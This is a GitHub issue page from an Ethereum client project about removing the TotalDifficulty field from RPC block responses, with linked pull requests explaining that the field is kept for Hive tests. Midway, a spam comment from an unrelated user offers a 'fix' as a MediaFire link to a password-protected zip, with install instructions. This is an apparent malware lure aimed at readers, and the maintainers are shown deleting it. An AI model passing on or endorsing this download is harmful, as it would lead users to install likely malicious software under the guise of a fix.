Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remove TotalDifficulty from RpcBlock #307

Closed
avilagaston9 opened this issue Aug 26, 2024 · 1 comment · Fixed by #347
Closed

Remove TotalDifficulty from RpcBlock #307

avilagaston9 opened this issue Aug 26, 2024 · 1 comment · Fixed by #347

Comments

@avilagaston9
Copy link
Contributor

See ethereum/execution-apis#570.
We are currently including TotalDifficulty in RPC block requests solely to match Hive tests. This should be removed once it is deprecated.

avilagaston9 added a commit that referenced this issue Aug 26, 2024
@lambdaclass lambdaclass deleted a comment from YoungAgile Aug 26, 2024
github-merge-queue bot pushed a commit that referenced this issue Aug 26, 2024
**Motivation**

We are currently not matching the expected response from Hive on the
`eth_getBlockByHash` endpoint.

**Description**

- Moves `BlockSerializable` to the RPC module.
- Renames `BlockSerializable` to `RpcBlock`.
- Creates `FullBlockBody` which holds `RpcTransaction` instead of
`Transaction` to match the Hive expected output.
- Adds logic to calculate `TotalDifficulty` of blocks.

**Observations**

#307 was created to remove `TotalDifficulty` calculation logic added by
this PR. This is because this field it is not being used since the
merge, but it is still required to pass Hive tests.

Closes #269
@CoZmoTheGod
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@lambdaclass lambdaclass deleted a comment from CoZmoTheGod Aug 26, 2024
@lambdaclass lambdaclass deleted a comment from CoZmoTheGod Aug 26, 2024
github-merge-queue bot pushed a commit that referenced this issue Sep 5, 2024
**Motivation**

After the merge, `totalDifficulty` no longer plays any role in the core
protocol's operation. We were maintaining it solely to pass Hive tests.

**Description**

Removes `totalDifficulty` from our codebase.

Closes #307
@github-project-automation github-project-automation bot moved this to Done in ethrex_l1 Sep 5, 2024
@fmoletta
Copy link
Contributor

We are adding this field back in #566 as we need it to run hive engine tests.
We can look into removing it once the hive engine test suite gets updated too

@fmoletta fmoletta reopened this Sep 26, 2024
mpaulucci pushed a commit to mpaulucci/lambda_ethereum_rust that referenced this issue Oct 16, 2024
**Motivation**

We are currently not matching the expected response from Hive on the
`eth_getBlockByHash` endpoint.

**Description**

- Moves `BlockSerializable` to the RPC module.
- Renames `BlockSerializable` to `RpcBlock`.
- Creates `FullBlockBody` which holds `RpcTransaction` instead of
`Transaction` to match the Hive expected output.
- Adds logic to calculate `TotalDifficulty` of blocks.

**Observations**

lambdaclass#307 was created to remove `TotalDifficulty` calculation logic added by
this PR. This is because this field it is not being used since the
merge, but it is still required to pass Hive tests.

Closes lambdaclass#269
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
Status: Done
Development

Successfully merging a pull request may close this issue.

3 participants